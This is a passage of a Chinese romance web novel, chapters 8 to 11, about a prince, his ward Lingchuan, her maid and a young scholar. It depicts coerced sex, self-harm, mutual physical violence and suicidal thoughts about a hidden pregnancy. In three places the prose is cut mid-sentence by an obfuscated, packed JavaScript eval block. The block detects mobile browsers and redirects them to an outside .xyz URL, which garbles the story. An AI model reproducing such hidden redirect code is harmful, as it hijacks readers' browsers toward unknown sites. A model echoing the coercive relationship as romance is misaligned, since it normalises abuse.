“说了多少遍,那火不是我放的!我的身份根本犯不上故意放火去杀死你爹娘。就算那日我不在,照样会闹火灾。到时候你成了孤女,迟早被人拐卖到青楼里!” “再说了,若是那日没起火,我便给你爹娘一笔银子把你讨过来,让你一辈子当个通房丫鬟,你就觉得很好吗?” 他烦透了泠川总以为他因见色起意故意烧死她爹娘,他承认那日他确实是见色起意,但根本不是他放的火,他根本不记得自己有没有碰倒烛台。 那日就是个意外,但即使是意外,她也偏偏要把这笔血债记在他头上。 泠川不依不饶地回击, “我爹娘只有我一个女儿,怎会为了银两卖我?再说,我在你家和在青楼有什么区别?无非是卖一个人和卖一百个人的区别罢了。” 听到二人又三言两语地吵了起来,金盏站在外面又开始觉得神经衰弱。 泠川好不容易老实了几日,王爷又去招她干嘛,真是吃饱了撑的,到时候又是她夹在中间受夹板气。 她带着一肚子牢骚走开,待一会儿他们两个又要大白天的宣淫,她可不想站在门口听声。 8. 第 8 章 听到泠川把二人的关系比作妓子与恩客,顾时气不打一处来, “我在你眼里就是那种寻花问柳的人吗?我从没找过除了你以外的女人,你何故把我想得那么坏?” “哼,你刚刚还骂我是婊|子,我不过认下来罢了,我是婊|子,那你还能是什么?不就是嫖|客吗?” 被泠川三言两语地噎了回去,顾时百口莫辩,气得夺门而出。 见着王爷怒气腾腾地出来,金盏寻思也不可能这么快吧…… 她觉得可真稀奇,这次他俩竟然没搞在一起。 泠川好不容易消停了几天,王爷倒要去找她的茬,要是她又闹腾起来,还是金盏头疼。 想到这里,她便上前去劝了一劝, “王爷,泠川姑娘最近都消停多了,您也得饶人处且饶人吧。这男大当婚女大当嫁,给她另择个夫婿,嫁出去就算了。” “滚开。” 顾时冷冷地看了她一眼,金盏顿时觉得浑身发麻,一时竟动弹不得,心里直叫不好,这对疯子的事儿不是她能参合的。 “王爷……金盏失言了……” 她一边表演一个夸张的大跪,一边往后缩,悄悄看了一眼,王爷果然没在看她,便偷摸摸溜掉了。 金盏心想不好,说不定王爷爱的就是泠川作天作地,寻死觅活的那个调调,不然跟她过六年图啥呢。 若是他再娶一个回来,说不定比泠川还要疯癫。 既然如此,那还不如继续伺候泠川呢,至少她只打王爷,不打下人。 精神受折磨已经够难忍了,要是再加上肉|体的折磨,金盏可活不成了。 她当奴才无非是为了几两月钱,这世间并没有当奴才还能当出幸福感的道理,被驱使的牛马不会因落下的鞭子轻一些就感天谢地。 金盏平等的厌烦着每一个主子,王爷和泠川俩人幸福不幸福,并不在她的考虑范围之内,她只管自己好过。与其心疼锦衣玉食的主子,她还不如心疼心疼做牛做马的自己。 虽然不知道那杨若云姑娘性子如何,直觉告诉她没戏。 王府虽然麻烦事多,但月钱着实不少,她可不想给泠川当陪嫁丫鬟,到时候月钱肯定减半。 若是留在王府,王爷再娶回来一位比泠川还麻烦的夫人回来,金盏可就头大了。 带着一肚子牢骚,金盏改了主意,决定撮合泠川和王爷成婚。 跟了泠川多年,她的疯癫程度至少还在金盏的接受范围内,每次泠川发疯,王爷还会补贴月钱给她,如此看来也算是好差事。 带着这种心思,她走进了泠川的房,她还在绣那个鸳鸯香囊,香囊上落了血迹。 她的手艺实在不怎么好,线都结在了一起。 “姑娘,我帮您把香囊送给王爷吧。” 她只摇摇头, “我做香囊只是为了练练手,不是为了送人。” 王爷才不会在乎她怀孕,想必知道了也只会为她牵线做主,赶紧打发了出去,她没那个脸怀着顾时的孩子嫁给秦思昭,更没必要让旁人知道此事。 “哎,叫我说,姑娘多主动些,说不定王爷便回心转意,愿意娶姑娘为妻了呢。” 泠川刺了自己的手,苦笑, “金盏姐姐别再拿我开玩笑了,若是他愿意娶我早就娶了,何苦拖延到现在。我现在只想过一天算一天,也乐个清净自在。” 平常金盏只装聋作哑,甚少说这种话,泠川觉得稀奇。 这几日,王爷还如往常一般住在王府里,只是似乎有意冷落泠川,俩人偶然相遇,也装作彼此不认识一般。 金盏没做通泠川的工作,她觉得,泠川说不定都已经对王爷心灰意冷,想撮合两人,似乎只能从王爷那下手。 她便巴巴地过去给王爷倒茶,说, “王爷,有句话我不知当讲不当讲……” 顾时点了点头, “说吧。” “依我看,泠川姑娘最近也收了脾性,贤良淑德了许多……也不是不能为妻子。毕竟相识多年,知根知底,夫妻二人要日夜相对,不能只看家境,与其娶一位不知脾性的姑娘,倒不如娶泠川姑娘。” 金盏方才有些溜号,一不小心把心里话秃噜出来,紧张地咽了下口水,自己说的好像也太直白了些,后悔地直打嘴。 “金盏该死,不该妄言王爷的婚事,还请王爷恕罪。” 顾时嘲讽地笑了笑,他没想到泠川竟然叫金盏来传话。 金盏平日里对他们俩的那些事都是唯恐避之不及,真不知道泠川许诺了金盏多少好处,她才肯出来冒着得罪他的风险带这种话。 泠川看来可真是按捺不住了。 可是她应该当面直接跟他说才对,怎么能假借下人之口向他求婚?是等着他急不可耐地去求她嫁给自己吗。 想到这里,他不禁又恼怒了几分。 泠川真是一点都不尊重他,他决不能遂了她的心愿,主动向她低头。 该患得患失的人本就应该是她。 他故意冷冰冰地说, “莫要再在我面前提起此事了,我们只是义兄妹的关系,仅此而已。” 出去之后,金盏给自己两个嘴巴, “呸呸呸,多什么嘴,真是多此一举!” 她气冲冲地,自己就该继续装聋作哑,睁着眼睛说瞎话就完事了,真是自讨没趣。 她冲着王爷的门口翻了个白眼,呸!你就等着后悔去吧。 想到王爷以后后悔的样子,金盏心中难免就有快意,这群折腾人的主子就该有点劫难来治一治,老天爷才算公平。 顾时故意想晾着泠川,又离开了王府。 泠川之前让他患得患失的帐被他记在了心里,现在总是要还的。 既然她假托下人之口给他带那种求婚的话,那么他毫无回应还一走了之,想必她心里是十分焦虑不安。 想到她焦虑不安的样子,顾时就心底涌起一阵报复的快感。 他想起先皇处心积虑地立了自己的亲生儿子做太子,他本想把顾时这个孽种也一起收拾掉,结果身体却没捱到那一天便一命呜呼了。 如今的天子不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310326|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅遗传了先皇的腿部缺陷,还痴傻不堪,整个畸形短命的皇室长期被架空。 朝堂之上,丞相和将军长期把握朝政,顾时毕竟年轻,要从中分权并不容易。 他根本用不着动手,那畸形痴傻的帝王根本活不了多久,他身边的宫女都不耐烦伺候他,能暗戳戳地给他磋磨死。 他会继承大统这件事是个人都心知肚明,他现在只要预防别人拿他的血统来做文章。 说实话,将军拿他的血统做文章然后篡位的概率虽然不大,但也并不是没有,他心底还是不踏实。 杨若云是老来女,将军对女儿爱若至宝这件事是个人都知道,如果他的女儿嫁给他,相当于在他这里做了人质,他想娶杨若云也是基于对现实的考量。 只是,从他第一次见泠川时他就知道,眼前的这个女孩能尖锐地击破他理智的那道防线,把他变成一个只会索要爱,并且永不满足的怪物。 这样其实不对,他们在一起虽然也没什么真正意义上的现实阻碍,但也是对谁都没有好处。 如果理智一点,他应该离开泠川,但是他又想考验一下她到底能为他忍让到哪一步。 泠川就是一株有毒的藤蔓,天生是要找人依附的,她会把自己依附的大树活活绞杀致死。 即使她真的低声下气地来求他,他也不应该答应她。他觉得自己会变成那个被爱意绞杀的弱者。 但从感性上来讲,他又觉得这样死好像也很幸福。 顾时有意躲着泠川,便没回王府,只有离开她,他才能短暂地保持理智。 王爷这个顶头主子不在,整个王府上下都难免有些松懈,该划水的划水,该摸鱼的摸鱼。 泠川才不会帮他管家,落不到一点好处不说,还倒得罪人,再说王府好不好与她何干,又不是她的财产。 她洗掉脸上的浮粉,不着粉黛,又穿了一身谨慎得体的湖蓝色衣裳,为了不显得奢侈,也没戴首饰。 泠川现在心里一丁点都没了顾时的影子,她的肚子迟早都要瞒不住的,到时候就死了拉倒。 她现在满心只想着怎么让自己死后能得以安息,哪有心思去想那个总折磨她的人? 不想弄出个风尘的妖精样子来,她只想在死前给秦思昭留下一个好印象,她希望自己在他的回忆里是干净的。 虽然她爹娘可能也有过不好的地方,但她已经尽数忘了。 毕竟人是可以改变自己的记忆的,只留下好的部分,筛掉坏的部分。 她想要的东西并不多,只要在这世界上,还有个人能把她看作温柔清纯的女子,这就已经足够慰藉泠川的心了。 之前的荷包脏了被她随手扔了,她又绣了个新的荷包,犹豫了几瞬,她还是把那个荷包揣进了自己的袖子里,去了秦思昭的府上。 她进了他府中,有人过来给她倒了茶水,她本以为那是个小厮,随手把帷帽往他手里一塞,结果却对上了秦思昭那双笑意盈盈的眼睛。 “秦公子……怎么亲自来给我倒茶水的呢……” 泠川的脸没来由地一红。 9. 第 9 章 她瞧见他的右眼角下方生了一颗小痣,给他白玉般端正的容貌添上了些幽媚气。 泠川把手悄悄伸到袖子里,摩挲那荷包上面的图案, 丝线的触感轻微地缓解了她的焦躁不堪,泠川没涂任何口脂,紧张地抿了抿干燥的嘴唇。 她的嘴唇始终如干枯的花瓣一般,薄薄地张开着,他从她上下唇之间窄小的缝隙里,窥见一排因神经质和焦虑而咬紧的牙齿。 “秦公子……” 她的手一直发抖,用手帕擦了擦额角的冷汗,装出一副满不在乎的语气问, “我来不为了别的,只问你一个问题,你为什么想娶我。” “我并不了解泠川姑娘,若是说我爱你爱得要死要活,未免也太虚伪了些。” 秦思昭低头轻笑,又忽然换上了严肃的表情,看着她泪光一闪一闪的眼睛。 “泠川,在考取功名之前,我经营着一家医馆,见识过各种各样的将死之人。我一瞧见您,便莫名觉得若是放着您不管,您会活不久。出于医者的责任心,我想要救您。” 泠川不敢去看他, “您这么说未免也太自大了些,我活得好好的,您平白无故说我短命……” 她扣紧了牙关。 有那么明显吗? 连只见过两面的秦思昭都看出来她打算去寻死了。 他向她提亲,竟然是想要救她的命。 泠川简直不知道该把自己的双手放在哪。 她瞥见他眼角的那颗小痣,确实,他说的一点没错,她想活下来的唯一办法就是嫁给他,只有依靠和另一个人的婚姻才能摆脱顾时,摆脱王府。 想必若是自己没怀孕,嫁给他之后,确实能和他一起活下去吧……可是她又怎么能利用他的善意去欺瞒他呢。 “您如果知道我的一切,就不会想娶我了。” 泠川开始变得口不择言, “但是我希望你想娶我,所以我会瞒着你。” 她说完之后又反悔了。 他是个医生,只要拉一拉她的手,什么都会知道的,她根本瞒不住他。 两种力量强烈地撕扯着她,她想要为自己的命搏一次他的真心,又怕自己会遭他的唾弃,最终死得凄惨,颜面尽失。 她不敢看他的眼睛。 至少死之前给他留一个好印象吧……她希望死了之后有人愿意真心怀念她。 他似乎被她的话给逗笑了似的,眯成了一双桃花眼,问, “泠川姑娘,这是喜欢我的意思吗?” 她把脸往旁边一歪,故作冷漠地说, “才不是,这只是因为我虚荣而已。我可没有你想得那么好,也没你想得那么脆弱。总而言之,我不喜欢你。” 说完了,泠川松了口气,他竟然没追问她瞒了他什么。 结果她刚一松懈,绣了鸳鸯的荷包就从袖子里掉出来,直直落在地上。 秦思昭把荷包捡起来, “这上面的是鸭子么?如果是泠川姑娘送心上人的,想必是鸳鸯吧。” 泠川的脸瞬间红透了,结结巴巴地,说不出半个字。 他把荷包交回到泠川手中, “既然泠川姑娘不喜欢我,想必这荷包也不是送我的了……若是泠川姑娘送给我的,我必然仔细收着,若不是送我的,我绝不染指。” 他把荷包往泠川这边又递了递, “泠川姑娘拿回去吧,竟是我自作多情了。” 他眼角泛起了红,语气里满是失落的意味。 “是……是送给你的……” 泠川小声地说道。 秦思昭的脸上顿时一扫阴霾,露出了一个诡计得逞的笑容,泠川莫名觉得自己被他拿捏了。 “说好了送我可不准反悔,我收下了。” 他把荷包妥帖地收在袖子里,若有所思地看着她笑。 泠川被他看得坐立难安, “我回去了……我如果高兴的话会主动来找你的,你别来王府找我……” 就顾时那个恨不得把她扫地出门的架势,才不会在乎她是不是怀孕。 若是他知道了此事,肯定会欺骗秦思昭她怀孕的事,然后把她趁早打发给他。 她都不敢想秦思昭得知真相后厌弃她的样子,与其到时候被当成皮球踢来踢去,还不如自己悄悄了结了算。 此事必须瞒着顾时,不能让他知道。 “真不公平,只准你来找我,不准我去找你。” 他似乎不高兴了。 泠川点了点头,强硬地说, “对,我说什么就是什么,你什么都得听我的。” 她起身便走,挺没礼貌。 泠川觉得想吃些酸的东西,便去果脯店买了很酸的杏干,悄悄吃了,又买了些平日里吃的果脯打包回王府。 说实话她根本不觉得自己腹中的是个孩子,与其说是觉得自己怀孕,她更觉得自己是得了一种治不好还很丢人的绝症。 就连泠川自己在这种疾病面前也丧失了求生欲。 这疾病就像一个罪证,时时刻刻提醒她犯下了多么不可挽回的错误,与其活在这种折磨里,还不如死了拉倒。 顾时回了王府,进泠川的房间,却发现她不在。 他忽然觉得心里空落落的,像是某种期待落空了一般,又生出许多气愤来。 他好不容易才下定决心来主动找她,她凭什么不在? 泠川之前那个绣坏了还沾着血的鸳鸯香囊,被随手丢在角落里,丫鬟们偷懒没有收拾。 他走上前去,把香囊捡起来。 他与泠川二人的血融在一起风干发黑,血渍模糊了鸳鸯的头颅,他与泠川的回忆,也是如同这个香囊一般,落了灰,又蒙着一层难以忽视的血色。 把香囊收到袖子里,他随口问一个下人, “泠川到哪去了?” 那下人见王爷回来,不得不提振了精神, “姑娘今早出去了……想必是……” 她结结巴巴地也没说出半个字来,顾时刚要发火,便看见泠川穿着一身湖蓝色的衣裳,妆饰洁净到底,端庄得体地回来了。 她提着一袋子果脯, “不过是出去买了些零嘴,王爷何故急成这样。” 她连一支簪子都没戴,也没戴耳坠,他瞥见她耳垂上针穿过的那个小洞,干干净净的。 顾时的视线像一张网一般,蒙在她的脸上,泠川有些不适。 她现在只想无视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310327|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个人,他跟她一起制造了一场罪行,并还留下了不可磨灭的证据,害得她活不成。 “泠川,算起来我有几日没见你了?” 他一路跟着她进了房间,泠川觉得心烦,又不知道怎么开口把他撵回去。 “几日都好,王爷以大局为重。” “我皇兄的病越发的重了,现在正是关键阶段,我确实没法子陪你。” 他伸手去摸她的头发, “泠川,原是我对不住你。” 泠川忽然瞪大了眼睛,他竟然给她道歉了。 她攥紧了手帕,手背的皮肤粉而薄,露出淡蓝色的血管。 泠川的牙齿扣紧了,舌尖咬出了血,不让原谅的话自己从唇舌间流淌出来,她不信他会真心忏悔犯下的那些错误。 “为稳定朝政,我最近需要多花银两去收购粮草商,暂时没法给你出嫁妆,泠川你最近也节俭些,别再乱砸东西,你只需再等上半年,该是你的还是你的。” 泠川怒气上涌,果然,他从来不觉得自己有错,会说对不起,不过是为了这种无聊的理由。 她的双眸顿时变得阴冷,一团愤怒的火焰又燃烧了起来,可她腹中的孩子就像一盆冷水,把她愤怒的火焰又瞬间泼灭了。 “无妨,大局为重,我暂且不嫁就是了。” 既然这辈子都得不到他的忏悔,泠川索性把这个人从自己的记忆里彻底删除。 收购粮草商此事属实,本质上却是顾时不愿泠川出嫁,便东拉西扯了一个理由出来。 他听到泠川说暂且不嫁,却没来由地安下心来,忍不住抱着她单薄的肩膀。 顾时觉得反悔了,他似乎就不该向泠川提起嫁人的事,但是他也不想让泠川遂意得太容易,若是她轻而易举地就得到了他,恐怕就不会珍惜。 离开泠川时,他是冷血理智的利己者,总能做出利益最大化的决定。 可是只要一见到泠川,一种奇怪的本能又占了上风,他总是会不择手段地想得到她的关注。 他觉得泠川没在看他,这样不对。 于是他从她的妆奁中抽出了一根簪子,猛地对着自己的手臂扎了下去。 鲜血汩汩地流了出来。 “王爷,你在做什么?” 泠川瞪大了小鹿一般的眼睛看着他,顾时无端觉得心底一阵欣喜。 他任由血液顺着手臂流下来,故作无谓地说, “最近杂务众多,又无人为我分忧,便只能这样发泄下火气。” 他特意伸了伸胳膊,等着泠川来关心他。 “您是王爷,怎会无人为王爷分忧呢……” 泠川不接他的茬,反倒忍无可忍地翻了个白眼,真想冲上去扇他一巴掌……她攥紧了拳头,还是克制住了。 “我性情顽劣,不给王爷倒添烦恼就不错了,何来的分忧一说。” “旁人无非是各怀着私心才来接近我的。” 泠川被他气笑了, “王爷与其这般,倒不如去医馆看看,抓几副草药来调理调理,省得过度操劳。我就算愿意为王爷分忧,可我又用什么身份来为王爷分忧?” 以我妻子的身份…… 他在心里默默回应着她,却未说出口来。 10. 第 10 章 泠川一边嫌弃,一边觉得还是该给他个面子。 他都这样了,再不哄哄好像有点不礼貌了。 她潦草地用手帕给他把伤口包上,他却趁机亲她的脸。 泠川一时没躲开,被结结实实地亲了一口。 原来他刚刚作妖半天,就是为了亲上这么一口啊。 泠川心底很不耐烦,但又怕顾时起疑心,不好拒绝得太明显,使劲在他伤口上捏上一把。 他一声不吭地忍了下来,那疼痛感在他的伤口上开出一朵妖异的小花。 顾时伸手去解开泠川的腰带,她的中衣白得发亮,因被他扯下来一半而变得凹凸不平,露出一小片胸口的皮肤,她很瘦,从逆光的角度能看到她被一层皮肤浅浅覆盖住的胸骨。 她一只手捂住胸口,另一只手把他往外推。 他直接把她的细腰夹在腿下,顺势按在地毯上。 “泠川,你要不要?” 虽说口头上问了泠川的意见,可实际上他根本就不会给她拒绝的权力,手上没停歇动作。 泠川是知道女子怀孕期间是不能同房的,若是这孩子能因为顾时流掉,那也算是好事一桩。 她顺从地侧身躺着,用手帕蒙住自己的脸。 泠川的肋骨清晰可见,他伸手摸上去,像弹奏一把古筝。 泠川想,人骨头是可以做成乐器的,若是她死了,顾时也许会把她做成一把琴日夜爱抚。 她的肋骨如波浪一般上下起伏,头发已经尽数散落下来,在光线下变成一种乌青色,他摸了摸她的下颌,她下巴很尖,骨头硌手,皮肤又很光滑。 光滑的皮肤和尖锐的骨骼形成一种怪异的触感,他伸手去触碰她的髂嵴。 有一种禅法叫白骨观,说是观想美人皮肉下是森森白骨,便能去掉对色|欲的执念。 他瞪大双眼,看着她皮肉完整的身体,观想她浑身腐烂,爬满虫子,最后变成一具森森白骨的样子。 渴望感并没有因血腥的幻想就消停下来,他的身子怪异得又炽热了几分。 蔷薇花的内部只会是柔软纤细的花蕊而已。 结束后,泠川对自己升起了一种厌恶感。 她无端觉得自己做了亏心事,像是背叛了秦思昭一般。 他若是知道自己是这种人,肯定不会再喜欢她了…… 泠川低垂着头,青丝遮住她的面庞。 之前犯过错误也就罢了,可是她偏偏一错再错……本想从此再不同他发生什么,可偏偏又不如愿。 她简直羞愤欲死,没脸再去见秦思昭……可是渴望去死,和渴望被拯救,竟然是同一种强烈的情感,就像一株并蒂莲上开出两朵不同颜色的花。 泠川隐隐约约开始渴望,秦思昭即使见识了她这幅模样,也依旧愿意拯救她。 “泠川,你的头发乱了,我帮你梳。” 顾时的声音打断了她的想象。 她想看见的人,不是他,可偏偏他的手还总能落在她的身子上。 泠川穿上中衣,坐在梳妆镜前面。 顾时看着她的头发如同轻盈柔滑的绸缎一般,在他手心里微微化开,心里涌起一种糖霜融化了般的感觉。 他所有对于情绪和欲|望的体验都来自泠川,她已经垄断了他对夫妻二字的想象力,如今他竟然被手中的发丝弄得头脑发昏,想象不出没有她的生活。 泠川看着铜镜里自己的影子,心里却只有那送出去的鸳鸯荷包。 她的身体没有任何异样,那有生命的罪证依旧还在她的腹中。 她想,顾时他娘恐怕挑了个不错的种子来给皇室改善血脉,所以这个胎儿才这么顽强。 顾时猛地用力,扯了一下她的头发。 他不喜欢这种头脑发昏的感觉,他觉得自己简直像是在被另一个人牵着鼻子走,迟早会在她面前失去自我。 泠川吃痛,愤愤地看着顾时。 他怎么能用这种法子强迫她看着他? 她的睫毛低垂下来,显然十分不悦。 “顾时,你又发什么疯?” 在人前,往往泠川才是疯癫的那个,可人后,又变成了顾时压抑不住自己的疯狂。 “我不是想对你做什么就做什么吗?泠川,这就是事实。” 他粗暴地让泠川靠近他。 “我平常不过是对你客气客气,才谦让于你,小事上不同你计较。但实际上,我就是可以随意处置你这条命。” 顾时知道自己不过是在虚张声势,他的太阳穴紧张得砰砰直跳。 他开始不确定泠川是不是还爱他了,她最近对他的反应冷漠到出奇。 他在铜镜前握住她的手,把自己的手指穿过她指缝里,憎恶,欲|望,不安,在二人的指尖流动,刺得两个人都浑身发痛。 他忽然想在她身上打个标识,证明这是一个用爱把他折磨到自残的女人。 “泠川,你想要个刺青么?我们可以一起挑个图案。” 咚—— 一个珊瑚摆件被砸到他头上,那珊瑚形状很钝,他没出血,却多了两片淤青。 “滚开!” 她神经质地扣紧了牙齿,瞪大了双眼,手抓紧了那珊瑚摆件,又猛地对着他的头砸了几下。 “你别想……你别想在我身上留下任何痕迹……” 他的罪证已经在她肚子里,他竟然还想用刺青在她身上留下别的证据。 顾时没躲,也没伸出手去挡上一下,一阵一阵的眩晕感和疼痛感让他有些着迷。 他确实很喜欢这种感觉,他觉得泠川在非常激烈地关注着他,不停确认他的存在。 他只抱着她的腰狠狠咬了一口她的脖子,血,淤青,牙印就在她的脖子上方昭然若揭。 “泠川,我得逞了……你看看我在你脖子上留下了什么?” 他咬得很深,这个印子没个十天半个月恐怕消不下去。 泠川的脖子一抽一抽地疼,似乎是砸得累了,便把那珊瑚摆件丢到一边去。 门口的丫鬟叫萍儿,今天是她头一天当差,便听到屋子里叮叮哐哐,吓得她赶紧去寻金盏姐姐来帮忙。 “金盏姐姐,我听到屋子里吵得很……似乎是……似乎是打起来了……” 金盏一脸见怪不怪的样子, “泠川姑娘跟王爷打架也是常事,你待久了便知道了。” “哎,咱们王爷怎么还打人呢……那泠川姑娘那么瘦弱,能扛得住几下子?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310328|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 金盏忍俊不禁, “我还真没见过王爷打泠川姑娘,恐怕不是那样吧。” “啊……” 萍儿被吓愣住,金盏弹了她一个脑瓜崩, “回头我去伺候便是,你去给花儿浇浇水吧。” 怕手底下的女孩子乱说话,金盏轻易不让别的丫鬟进泠川的房间收拾,她屋子里净是些不三不四的东西。 她大摇大摆地走到泠川门口,敲了敲房门, “泠川姑娘,您在里面吗?我能进去吗?” “哎呦,王爷怎么也在,真是得罪了,参见王爷……” 她假装不知道顾时也在里面,急匆匆地便给他行礼, 金盏悄悄瞄过二人,顾时额头上多了几片淤青,泠川脖子上多了个牙印。 这些她都不在乎,关键是……满地狼藉等着她来收拾啊…… 金盏顿时怒从心头起,却又不好发作,硬生生把怨言吞回肚子了。 她出去拿打扫的东西,顺便叫一个小厮送来一条抹额,递到泠川手里。 “姑娘,快把抹额给王爷戴上吧。” 泠川磨磨蹭蹭地找了条丝巾围在脖子上,却被顾时扯了下来。 “有什么可遮遮掩掩的……你就这样出去走一圈,让别人都看看吧。” 泠川忍无可忍抬手要照着他脸扇,却被金盏冲上去拦了下来。 他们两个要是再打起来,她就白收拾了,她刚把屋子收拾利索呀…… “好姑娘,给我个面子,先把抹额给王爷戴上。” 她把抹额塞到泠川的手里,顾时却直接把泠川手里的抹额打掉。 “哼,若是要别人劝,你才愿意给我戴上,那我也不要了。” 他冷着脸,似乎动了好大的气一般,顶着额头上的淤青便走了。 泠川冷笑着坐下,心想自己肚子里这孩子可真是结实,自己都这么折腾了,也没出什么事故。 不过要论起来,顾时的身体确实是各方面都没问题的,也没什么不良习惯,想必也正常。 金盏装作什么都没看见,找了条丝巾给泠川的脖子围上了。 “姑娘闹脾气也得有个度,他是王爷,您怎能这样呢?” 泠川照着顾时的脸狠狠地打,若是传出去,实在是太损失他身为王爷的威严了。 “他欠打,我也不怕死,先痛快了再说。” 泠川冷冷地说。 金盏无语,心想泠川说得似乎也没错。 顾时离开王府后,才堪堪恢复理智。 他看着自己额角的淤青,又仔细摸了摸,感到一阵嫌恶,泠川实在是太能闹腾了。 她也未免太被骄纵了些,竟然敢直接打他,下回一定得给她一个教训,让她怕了他才是,要么,就干脆跟她分开算了。 若是被人知道他额角的淤青是怎么来的,非得被人笑话死不可。 用抹额把淤青彻底遮住,他才去朝堂。 他眼角瞥见一个荷包从秦思昭的袖子里掉了出来,模样有点眼熟。 顾时离得远,只看见一个模模糊糊的图案,只能看出来那荷包上的针线并不娴熟。 不过一瞬,秦思昭就又把荷包收回到袖子里,仔细藏着了。 11. 第 11 章 他摸了摸自己抹额下的淤青,一种轻微的压痛感传了上来,让他的嘴角微微上扬。 顾时算得上是认识秦思昭,今年的状元,很多人都抢着认识他,但也没有别的印象。 泠川爱他,这件事毋庸置疑。 他想起泠川刚来王府不久时,自己想看她翩翩起舞的样子,便请了一位舞姬来教她跳舞。 不知是泠川天生筋骨硬,还是那舞姬故意折磨她,总而言之进展并不顺利,总能听到她因开筋而惨叫的声音。 令他意外的是,即使他给了泠川随意处置那舞姬的权力,她也完全没找那舞姬的麻烦。他那时还以为她是一只逆来顺受的小兔子。 泠川练了一个多月,柔韧性还是很差,但腿上却长了不少力气。 最终,她红着眼睛,气势汹汹地冲着他走过来,狠狠一脚踢在了他的膝盖上,此事才算结束。 这是他第一次真正意义上的认识泠川。 他当时不知自己为何轻轻放过了她的无礼,完全没处置她。 无能的现实不能让他意识到它们的真实存在,但泠川可以,并且她总是可以。 那是顾时第一次觉得和这个世界有了链接。所有对现实的缺失,不适和匮乏,都瞬间烟消云散。 所有事物都会枯竭,但泠川对他的爱不会。 若是她不爱他,又为什么要一遍一遍提醒他,她是如何鲜活地存在于这个世界上的呢?为什么要一遍一遍把他从感官失衡的边缘拉回来呢? 所以,她必须爱他。 只是有位不擅长女红的姑娘送了秦思昭一个类似的荷包而已。 可是她对他那不冷不热的态度又让他起了疑心,他背着人,悄悄把泠川绣的那个香囊从袖子里拿出来看了一看。 可看完了之后,他越发觉得图案相似。 疑心如同乌云一般笼罩了他。 他使劲按了按泠川送给他的淤青,试图减轻几分这种焦虑。 顾时想找个借口再去看一看秦思昭的荷包,可心想又觉得有些可笑。 他是王爷,秦思昭是新科状元,他去找他搭话,不谈国家大事,反而去纠结一个小女子送的荷包么? 实在是丢人现眼。 可若是不去看一看那荷包,他又觉得那两只鸳鸯变成了乌鸦,在他脑海里发出凄厉的叫声,吵得他坐立不安。 下朝后,他假笑着请秦思昭去茶水间喝茶,又聊了许多正事来打掩护。 思来想去,焦躁感终于让他忍不住开口了, “小兄弟是新科状元,想必有很多世家贵族想招婿吧,小兄弟可有意中人了么?” 他轻描淡写地说出口,不过是日常问候的语气,想必没什么破绽。 秦思昭点点头,笑道, “意中人是有的,只是并不是什么世家贵女,只是我小时候认识的青梅竹马罢了。” 顾时松了一口气,却又觉得自己可笑。 秦思昭和泠川本来就是两个八竿子打不着的人,自己却用那种荒诞的妄想,强行把他们联系到一起,可真是疯了。 因为一个无关紧要的破荷包,坐立不安了好一阵,若是叫别人知道了,非得笑话死不可。 他开始烦躁,开始讨厌因为一点捕风捉影的小事就患得患失的自己。 就算那个荷包真是泠川送的那又怎么样,她爱去找谁就去找谁,正好和她一刀两断算了,还乐得清静。 若是继续留她在身边,他只会变成一个神思不属的疯子。 他可不想被她的忽冷忽热操纵一辈子。 打探到了想要的消息,顾时假笑着拉了几句家常,便打道回府。 说实话,从顾时的外表看不出任何癫狂的痕迹,他身材高大,肩宽腿长,丰神俊朗,体面端正。 可是如此正派的一张脸,因为泠川竟然也会挂上焦虑脆弱的神色。 他讨厌这样。 因为泠川是那个把他变得神思不属的人,所以他也讨厌泠川。 他用力推开她的门,泠川看起来莫名其妙地简朴了许多,桌子上摆着几样吃食,都是些寻常人家桌上摆的东西,还有一碟酸杏子果脯。 他随手吃了一个,酸得牙都倒了。 “你就吃这些么?” “王爷嘱咐说了,最近节省些开支,我也不好太奢侈。” 他觉得泠川说不出的阴阳怪气。 由奢入俭难,为了控制泠川,他有意纵容了她虚荣奢侈的习惯,可目前看来似乎没什么效果。 “你怎么连妆都没化。” 她脸色略有一些苍白,眼下显现出淤青和两道浅浅的泪沟,让她的眼神阴鸷了几分,消减了几分艳丽,平白添了几分冷而尖锐的神态。 “又没什么要紧的人要见,我何故化妆?是青黛不要钱,还是胭脂不要钱?” 他厌恶地看着眼前这个把他变得神思不属的女人,心想,为什么他就是摆脱不掉她? 她就像一个女鬼,用她厚而密实的发丝紧紧缠绕着他的心脏,让他的心跳失常。 “泠川,我现在拿不出太多嫁妆,你也想想你以后的去处吧。” 他有意羞辱她,想让她觉得自己若是没有他的钱便嫁不出去。 